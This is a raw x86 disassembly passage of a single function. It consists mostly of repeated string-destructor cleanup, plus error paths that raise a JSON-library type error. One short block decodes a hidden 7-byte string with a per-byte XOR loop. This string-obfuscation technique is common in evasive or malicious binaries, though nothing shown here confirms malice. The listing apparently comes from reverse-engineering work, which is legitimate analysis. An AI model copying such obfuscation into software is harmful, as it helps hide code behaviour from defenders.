mov ecx, dword [ebp - 0x1c]
push eax
call fcn.0048a1c0
mov byte [ebp - 4], 0x6e
mov esi, eax
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x43796b
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437961
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
mov al, byte [esi]
mov edx, dword [ebp - 0xb0]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x148], al
mov eax, dword [esi + 8]
mov dword [esi + 8], edx
mov edx, dword [ebp - 0x1fc]
mov dword [ebp - 0x13c], ecx
lea ecx, [ebp - 0x148]
mov dword [esi + 0xc], edx
mov dword [ebp - 0x140], eax
call fcn.00480b00
mov byte [ebp - 4], 0x69
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x4379f8
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4379ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x68
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x437a36
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437a2c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x437a6e
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437a64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push dword [ebp - 0x80]
lea ecx, [ebp - 0x1f8]
call fcn.00480770
lea ecx, [ebp - 0x1e8]
push ecx
mov ecx, eax
call fcn.00480490
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x5e
call fcn.00480b00
mov ecx, edi
call fcn.004bd060
cmp eax, 0x64
je 0x4372b0
mov esi, dword [ebp - 0x88]
mov ecx, edi
call fcn.004bcf20
mov ecx, esi
call fcn.00419b90
movaps xmm0, xmmword [0x548480]
xor ecx, ecx
mov byte [ebp - 0x4d], 0xe0
movups xmmword [ebp - 0x4c], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4d], al
inc ecx
cmp ecx, 7
jb 0x437ad0
mov dword [0x55d560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4d]
mov byte [ebp - 0x46], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437b03
sub ecx, edx
lea eax, [ebp - 0x4d]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
mov edi, dword [ebp - 0x14]
or edi, 0x4000000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
mov ecx, dword [ebp - 0x190]
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.00486ff0
lea ecx, [ebp - 0x1f8]
push ecx
mov ecx, eax
call fcn.00480490
mov byte [ebp - 4], 0x5e
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x437b86
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437b7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0x10
jb 0x437bc4
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437bba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
call fcn.00480b00
mov byte [ebp - 4], 0x3f
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0x10
jb 0x437c28
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437c1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x437c66
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437c5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [ebp - 0x58]
inc esi
mov dword [ebp - 0x58], esi
cmp esi, dword [ebp - 0x20]
jb 0x435f48
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0x10
jb 0x437cb0
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437ca6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x2f8]
cmp ecx, 0x10
jb 0x437cea
mov edx, dword [ebp - 0x30c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437ce0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 0xf
mov byte [ebp - 0x30c], 0
call fcn.00485200
mov ecx, dword [ebp - 0x15c]
cmp ecx, 0x10
jb 0x437d4a
mov edx, dword [ebp - 0x170]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437d40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x24]
cmp ecx, 0x10
jb 0x437d7e
mov edx, dword [ebx + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437d74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x3c]
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x24], 0xf
mov byte [ebx + 0x10], 0
cmp ecx, 0x10
jb 0x437dc0
mov edx, dword [ebx + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437db6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x54]
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x3c], 0xf
mov byte [ebx + 0x28], 0
cmp ecx, 0x10
jb 0x437e02
mov edx, dword [ebx + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437df8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437e1b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
lea ecx, [ebp - 0x1e8]
call fcn.00484ce0
push eax
lea ecx, [ebp - 0x3ac]
call fcn.00402ab0
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x3c4]
call fcn.00486e40
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x378]
call fcn.00408cb0
add esp, 4
lea eax, [ebp - 0x378]
push 0x558298
push eax
call fcn.004fcadb
call fcn.004023f0
lea ecx, [ebp - 0x1f8]
call fcn.00484ce0
push eax
lea ecx, [ebp - 0x3dc]
call fcn.00402ab0
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x134]
call fcn.00486e40
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x394]
call fcn.00408cb0
add esp, 4
lea eax, [ebp - 0x394]
push 0x558298
push eax
call fcn.004fcadb
int3